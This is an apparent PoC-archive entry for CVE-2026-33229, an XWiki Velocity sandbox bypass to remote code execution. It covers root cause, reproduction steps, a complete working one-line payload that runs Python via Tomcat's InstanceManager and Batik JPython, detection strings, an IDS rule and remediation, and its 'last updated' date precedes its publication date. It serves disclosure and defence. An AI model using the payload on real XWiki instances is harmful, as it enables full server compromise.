PoC Archive PoC Archive
CVE-2026-33229 / GHSA-h259-74h5-4rh9 category: web CVSS 9.8 (CRITICAL)
Patched

XWiki Platform Velocity Sandbox Bypass to RCE - CVE-2026-33229

Published: 2026-11-27 • Researcher: azefzafyoussef (repo author and write-up author, youssefazefzaf.com)

Target software XWiki Platform (Velocity macro renderer / scripting API)
Affected versions 17.0.0 to before 17.4.8, and 17.5.0 to before 17.10.1 (fixed in 17.4.8 and 17.10.1)
Status PoC
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-33229 / GHSA-h259-74h5-4rh9
Category
web
Affected product
XWiki Platform (Velocity macro renderer / scripting API)
Affected versions
17.0.0 to before 17.4.8, and 17.5.0 to before 17.10.1 (fixed in 17.4.8 and 17.10.1)
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-04-11
Author / Researcherazefzafyoussef (repo author and write-up author, youssefazefzaf.com)
CVE / AdvisoryCVE-2026-33229 / GHSA-h259-74h5-4rh9
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3.1, per NVD record)
StatusPoC
TagsXWiki, Apache Velocity, sandbox bypass, SSTI, RCE, CWE-862, Java, authenticated, script right
RelatedN/A

Affected Target

FieldValue
Software / SystemXWiki Platform (Velocity macro renderer / scripting API)
Versions Affected17.0.0 to before 17.4.8, and 17.5.0 to before 17.10.1 (fixed in 17.4.8 and 17.10.1)
Language / PlatformJava (XWiki on Tomcat, Apache Velocity, Apache Batik JPython interpreter on the classpath)
Authentication RequiredYes (any account holding script right, which the advisory notes is already a high privilege)
Network Access RequiredYes (HTTP/HTTPS to the XWiki instance)

Summary

XWiki Platform ships a scripting API that lets users with script right evaluate Apache Velocity code, and that evaluation is supposed to be confined by a sandbox. Before 17.4.8 and 17.10.1 the sandbox could be escaped without reflection by walking pre-instantiated objects that are always present in the Velocity context. The published payload dereferences the servlet request, grabs the Tomcat InstanceManager from the ServletContext, instantiates the Batik JPython interpreter, and evaluates arbitrary Python, which gives full control of the wiki instance. This archive entry preserves that single-request payload together with the upstream explanation.

Vulnerability Details

Root Cause

The Velocity rendering context exposes live servlet and XWiki objects, and the sandbox only attempts to block direct class access. It does not sever the object graph reachable from those already-instantiated references, so a script can traverse from the request object to the ServletContext. Tomcat stores its InstanceManager there, and InstanceManager.newInstance accepts any fully qualified class name, which reopens class loading and instantiation that the sandbox was meant to deny. Instantiating org.apache.batik.script.jpython.JPythonInterpreter yields an evaluate method that runs Python with no sandbox at all, so the confinement boundary collapses in two hops. The NVD record classifies this as CWE-862 (missing authorization) because the scripting API is improperly protected for the documented access model.

Attack Vector

An authenticated user with script right inserts the Velocity expression into a scriptable location. The upstream proof places it in the page title parameter and renders the page, which evaluates the expression during macro rendering. The full one-line payload is stored in exploit.velocity.

Impact

Arbitrary code execution inside the XWiki JVM with the privileges of the XWiki process, which means full read and write access to wiki content, configuration, attachments, and the underlying database credentials, plus the ability to install further payloads or pivot to the host. The demo payload only touches /tmp/RCE to prove execution, but the primitive is unrestricted Python.

Environment / Lab Setup

Output
OS:          Linux (any host able to run XWiki)
Target:      XWiki Platform 17.4.7 or 17.5.0-17.10.0 (a vulnerable build), e.g. the official xwiki Docker image
Attacker:    Browser or curl with a valid session of an account holding script right
Tools:       XWiki distribution, page edit form, optional curl

Setup Steps

Shell script
1
docker run -d --name xwiki -p 8080:8080 xwiki:17.4.7

Proof of Concept

Step-by-Step Reproduction

  1. Prepare a script-capable account - Log in as a user that holds script right on the wiki, per the advisory a privilege already close to administrative trust.

  2. Insert the payload - Edit a page and place the expression from exploit.velocity into the page title parameter (or any field that the Velocity renderer evaluates).

    velocity
    $request.request.getServletContext().getAttribute("org.apache.tomcat.InstanceManager").newInstance("org.apache.batik.script.jpython.JPythonInterpreter").evaluate("import os; os.system('touch /tmp/RCE')")
  3. Render and confirm - Save, view the page, and check for the marker file on the XWiki host or container.

    Shell script
    1
    
    docker exec xwiki ls -l /tmp/RCE

Exploit Code

See exploit.velocity in this folder.

velocity
$request.request.getServletContext().getAttribute("org.apache.tomcat.InstanceManager").newInstance("org.apache.batik.script.jpython.JPythonInterpreter").evaluate("import os; os.system('touch /tmp/RCE')")

The two stages are independent of reflection: the first hop is a plain property chain over objects the renderer already provided, the second is an ordinary factory call on Tomcat’s InstanceManager.

Expected Output

Output
-rw-r--r-- 1 xwiki xwiki 0 <date> /tmp/RCE

Any other Python statement placed inside evaluate runs the same way, for example listing the application working directory or reading configuration files.

Detection & Indicators of Compromise

Output
$request.request.getServletContext()
org.apache.tomcat.InstanceManager
JPythonInterpreter
evaluate("import os

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"Possible XWiki CVE-2026-33229 Velocity sandbox bypass"; flow:to_server,established; content:"InstanceManager"; http_client_body; content:"JPythonInterpreter"; http_client_body; reference:cve,2026-33229; sid:9000332;)

Remediation

ActionDetail
PatchUpgrade XWiki to 17.4.8, 17.10.1, or later. The fix hardens the scripting API that the sandbox relied on.
WorkaroundRemove script right from all accounts and groups that do not strictly need it, and review existing script-bearing pages for unexpected content.
Config HardeningKeep Java and the servlet container patched, remove unused optional libraries such as Batik from the web application if they are not needed, and monitor page history for script edits by low-trust accounts.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/azefzafyoussef/CVE-2026-33229 (stars 0, Velocity payload plus README).

Review verdict: ingested. The repository is not a detector or a version audit and it is not a placeholder: it carries the concrete, syntactically complete payload that reaches RCE on a vulnerable instance, and the README explains the required privilege, the affected releases, and the GHSA. Only two upstream files existed (README and POC), and both are preserved. The payload is a one-liner with no harness or automation, which is why the entry is marked PoC rather than Weaponized.

License: the upstream repository has no LICENSE file and no explicit license statement beyond a responsible-disclosure notice; copyright remains with the author. Attribution and the source URL are retained, and the copied payload carries an archive header.

Limitations: exploitation needs an authenticated account with script right, so this is not an unauthenticated attack. The payload depends on Tomcat exposing an InstanceManager in the ServletContext and on the Batik JPython interpreter being present on the classpath, both of which hold for the standard XWiki distribution but can be removed by hardening. The demo statement only creates a file; it is a proof of execution, not a full post-exploitation tool. No exploit code was executed while preparing this entry.